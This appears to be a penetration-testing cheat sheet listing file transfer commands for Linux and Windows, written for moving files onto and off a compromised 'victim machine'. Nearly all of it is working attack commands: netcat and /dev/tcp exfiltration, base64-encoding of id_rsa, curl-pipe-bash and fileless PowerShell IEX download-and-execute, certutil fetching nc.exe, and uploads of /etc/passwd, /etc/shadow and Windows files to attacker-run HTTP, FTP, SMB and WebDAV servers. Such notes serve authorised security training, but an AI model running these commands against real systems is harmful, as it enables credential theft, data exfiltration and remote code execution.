Multi-protocol file transfer commands for Linux and Windows
# Sender
cat < content > /dev/tcp/<IP>/1234
# Receiver
nc -nvlp 4444 --recv-only > content
# Sender
nc <IP> 1234 < content
# Receiver
nc -nvlp 1234 > content
# Encoding the target file (it must be short storage file)
cat id_rsa | base64 -w 0; echo
# Decoding the target file
echo -n 'aGVsbG8K=' | base64 -d > id_rsa
# wget
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
# curl
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
# curl | bash
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
# wget | python3
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
Hello World!
scp backupjob ubuntu@<IP>:~/
# Start the ftp server in your machine
python -m pyftpdlib --directory=/home/juan/ftp --port=2121 --user=test --password=test
# Connect to the previous ftp server from the victim machine
ftp <IP> 2121
Name: test
Password: test
# Receiver
nc -nvlp 4444 --recv-only > content
# Sender
cat < content > /dev/tcp/<IP>/1234
# Receiver
nc -nvlp 1234 > content
# Sender
nc <IP> 1234 < content
# Encoding the target file (it must be short storage file)
cat id_rsa | base64 -w 0; echo
# Decoding the target file
echo -n 'aGVsbG8=' | base64 -d > id_rsa
# First create a certificate
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
# Create directory
mkdir https && cd https
# Start upload server
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
# Upload files
curl -X POST https://<IP>/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
scp test@<IP>:/root/myroot.txt /your/local/path
# Base64 Encoding (Linux)
cat content | base64 -w 0; echo
aGVsbG8=
# Base64 Decoding (PowerShell)
[IO.File]::WriteAllBytes("C:\Users\Public\content",[Convert]::FromBase64String("aGVsbG8=="))
# Alternatively with cmd
echo RXJlcyBnaWxpcG9sbGFzIHhkCg== > C:\Users\juan\Desktop\content.b64
# Certutil decode
certutil -decode C:\Users\juan\Desktop\content.b64 C:\Users\juan\Desktop\content.txt
# DownloadFile Method
(New-Object Net.WebClient).DownloadFile('https://<IP>/content','C:\Users\Public\Downloads\content')
# DownloadFileAsync Method
(New-Object Net.WebClient).DownloadFileAsync('https://<IP>/content', 'C:\Users\Public\Downloads\content')
# DownloadString - Fileless Method
IEX (New-Object Net.WebClient).DownloadString('https://<IP>/content')
# Alternative Syntax
(New-Object Net.WebClient).DownloadString('https://<IP>/content') | IEX
# Invoke-WebRequest
Invoke-WebRequest https://<IP>/content -OutFile content
certutil -URLcache -split -f "http://<IP>/content" c:\windows\temp\nc.exe
# SMB Server Setup
sudo impacket-smbserver share -smb2support /tmp/smbshare
# SMB Server with Auth
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
# Copy from SMB
copy \\<IP>\share\content
# Mount SMB Share with Auth
net use n: \\<IP>\share /user:test test
copy n:\content
# FTP Server Setup
sudo python3 -m pyftpdlib --port 21
# PowerShell FTP Download
(New-Object Net.WebClient).DownloadFile('ftp://<IP>/content', 'C:\Users\Public\content')
# Cmd FTP Download
echo open <IP> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
# Coding the file to base64 using PowerShell
[Convert]::ToBase64String((Get-Content -path "C:\content" -Encoding byte))
# Decoding the file in our machine
echo aGVsbG8K= | base64 -d > content
# Making the upload server using Python
python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
# We can use either PowerShell or browser GUI
IEX(New-Object Net.WebClient).DownloadString('https://<IP>/content')
Invoke-FileUpload -Uri http://<IP>:8000/upload -File C:\Windows\System32\drivers\etc\hosts
[+] File Uploaded: C:\Windows\System32\drivers\etc\hosts
[+] FileHash: 5E7241D66FD77E9E8EA866B6278B2373
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\content' -Encoding Byte))
Invoke-WebRequest -Uri http://<IP>:8000/ -Method POST -Body $b64
# Hosting a WebDAV server which will act as SMB share folder
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
# Upload file to WebDAV share
copy C:\Users\john\Desktop\SourceCode.zip \\<IP>\DavWWWRoot\
# Making the ftp server using pyftpdlib
sudo python3 -m pyftpdlib --port 21 --write
# Uploading the target file
(New-Object Net.WebClient).UploadFile('ftp://<IP>/content', 'C:\Windows\System32\drivers\etc\hosts')
# Alternatively with cmd
echo open <IP> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt